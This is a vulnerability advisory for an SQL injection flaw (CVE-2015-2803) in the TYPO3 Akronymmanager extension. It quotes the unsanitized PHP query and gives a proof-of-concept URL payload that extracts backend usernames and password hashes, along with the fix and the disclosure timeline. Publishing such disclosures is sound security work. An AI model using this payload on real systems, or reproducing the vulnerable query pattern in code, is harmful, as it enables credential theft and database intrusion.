TYPO3 Akronymmanager Extension 0.5.0 - SQL Injection

Advisory: SQL Injection in TYPO3 Extension Akronymmanager



An SQL injection vulnerability in the TYPO3 extension "Akronymmanager"

allows authenticated attackers to inject SQL statements and thereby read

data from the TYPO3 database.





Details

=======



Product: sb_akronymmanager

Affected Versions: <=0.5.0

Fixed Versions: 7.0.0

Vulnerability Type: SQL Injection

Security Risk: medium

Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager

Vendor Status: fixed version released

Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002

Advisory Status: published 

CVE: CVE-2015-2803

CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803





Introduction

============



"The Acronym Manager adds special explanatory markup to acronyms, abbreviations

and foreign words on the whole site following the requirement to accessible web

content.



It provides a backend module to administer a list of words to generate new HTML

elements for explanatory markup."



(from the extension's documentation)





More Details

============



Users with the respective privileges can maintain acronyms through the

Akronymmanager extension pages in the TYPO3 backend web interface.



In the extension's file mod1/index.php, an SQL query is generated like

follows (line 357 and following):



[...]

$pageID = t3lib_div::_GET("id");

if ($pageID) $where = "uid='$pageID' AND ";

$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',

    $where.'hidden="0" AND deleted="0"','sorting');

[...]



The value of the user-supplied HTTP GET parametre 'id' is used without

sanitizing it before its use in the subsequent SQL statement. Therefore,

attackers are able to manipulate the resulting SQL statement and inject

their own queries into the statement.





Proof of Concept

================



When requesting the following URL, the vulnerability is exploited to yield all

usernames and hashes from the TYPO3 be_users database:



------------------------------------------------------------------------

http://server/typo3conf/ext/sb_akronymmanager/mod1/index.php?

id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)

%20FROM%20be_users),2%20--%20

------------------------------------------------------------------------



The login credentials are then embedded in the HTML page that is

returned: 



[...]

  <!-- Section header -->

  <h2>user1:$hash,user2:$hash[...]</h2>

[...]





Workaround

==========



Only give trusted users access to the Akronymmanager extension in the

TYPO3 backend.





Fix

===



Upgrade the extension to version 7.0.0.





Security Risk

=============



An attacker who has access to the backend part of the Akronymmanager

extension may send SQL queries to the database. This can be used to read

arbitrary tables of the TYPO3 database and may ultimately result in a

privilege escalation if the TYPO3 users' password hashes can be cracked

efficiently. Depending on the database configuration, it might also be

possible to execute arbitrary commands on the database host.  As the

attack requires an attacker who already has backend access, the

vulnerability is estimated to pose only a medium risk.





Timeline

========



2015-02-25 Vulnerability identified

2015-03-04 Customer approved disclosure to vendor

2015-03-10 CVE number requested

2015-03-10 Vendor notified

2015-03-26 CVE number requested again

2015-03-31 CVE number assigned (request #2)

2015-03-31 Vendor notified again

2015-03-31 Vendor responded

2015-04-08 Vendor announced fixed version available at the end of April

2015-05-13 Requested update from vendor

2015-05-15 Vendor requests more time

2015-05-21 Requested update from vendor

2015-05-22 Vendor states that upload to extension registry doesn't work

2015-06-03 Requested update from vendor

2015-06-10 Vendor uploads new version to extension registry

2015-06-15 Advisory published







RedTeam Pentesting GmbH

=======================



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